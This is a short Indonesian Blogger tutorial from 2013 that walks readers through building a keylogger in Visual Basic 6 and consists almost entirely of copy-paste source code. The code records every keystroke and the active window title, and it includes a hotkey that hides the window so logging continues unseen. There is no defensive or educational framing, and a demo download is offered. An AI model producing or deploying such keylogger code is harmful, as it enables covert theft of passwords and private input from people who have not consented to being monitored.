Admin
On Senin, 04 Februari 2013
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
- Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
- Buka program Visual Basic
- New Project Standard EXE
- Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
- Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End SubPrivate Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub - Jalankan dengan menekan tombol F5
- Live demo bisa di download disini :
Diberdayakan oleh Blogger.